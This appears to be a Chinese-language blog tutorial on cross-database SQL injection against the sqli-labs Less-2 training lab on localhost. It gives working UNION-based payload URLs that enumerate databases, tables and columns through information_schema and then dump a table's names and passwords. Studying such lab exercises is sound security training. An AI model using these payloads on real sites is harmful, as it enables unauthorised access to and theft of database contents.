在之前进行简单sql注入的文章中,我们已经完成了对sqli-less2的注入,今天这篇文章也将以less2作为这次高权限注入的例子。
首先我们已经知道了注入点是id型,在进行高权限注入前首先要确定访问网站的用户为root级别,代码如下:
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,user(),3
发现是roor用户,接下来还是一样,先查询所有数据库的名称,代码如下,我们先解析一下这个代码,在之前的文章中已经有说过,数据库的一些库名信息是保存在系统库中的information_schema库下的schemata这张表的schema这个字段下
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
我们这样就已经查询到了mysql数据库下的有的七个库,在之前的文章中我们已经知道security是当前less-2,假设test这个数据库是网站B的,并不是less-2的数据库,那该如何访问渗透它。
我们现在已经知道了库名,接下来就应该知道库下有哪些表,然后然后根据表名来查询我们想要的一些东西,即使用查询书库对应的表名如下,同样先来解析一波,表名都保存在 information_schema的tables这张表下的table_name这个字段下,如果只有这些的话将会出现所有数据库下的表名,所以我们指定查询table_schema这个保存表信息的框架(表名)为test这个库下有的表名
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
知道了表名后,接着查询表名对应的字段名就可以了,语句如下,information_schema这个数据库下的columns中,保存着数据库中所有的字段名,同样的我们直接将表名精准到t1这个表下去查询字段名就可以了
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='t1'
既然已经知道了表名也知道了字段名,那接下来就很简单了,直接输入查询数据的语句即可,这边要注意最后查询字段的时候,为什么要写test.t1而不是直接写t1呢,这是因为在实战中可能t1这个表在整个数据库系统,不同的数据库下有成千上万张,所以要直接定位到test这个库下的t1表下进行查询。
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,name,pass from test.t1
这篇文章通过一个简单的例子,利用高权限进行一个跨库的查询。同时我们要注意的是,进行高权限注入的时候,有两个前提条件,第一个是我们的用户名是root的情况下,第二个是网站的数据库为高版本数据库(具有系统库),但现在基本百分之九十用的都是高版本的数据库,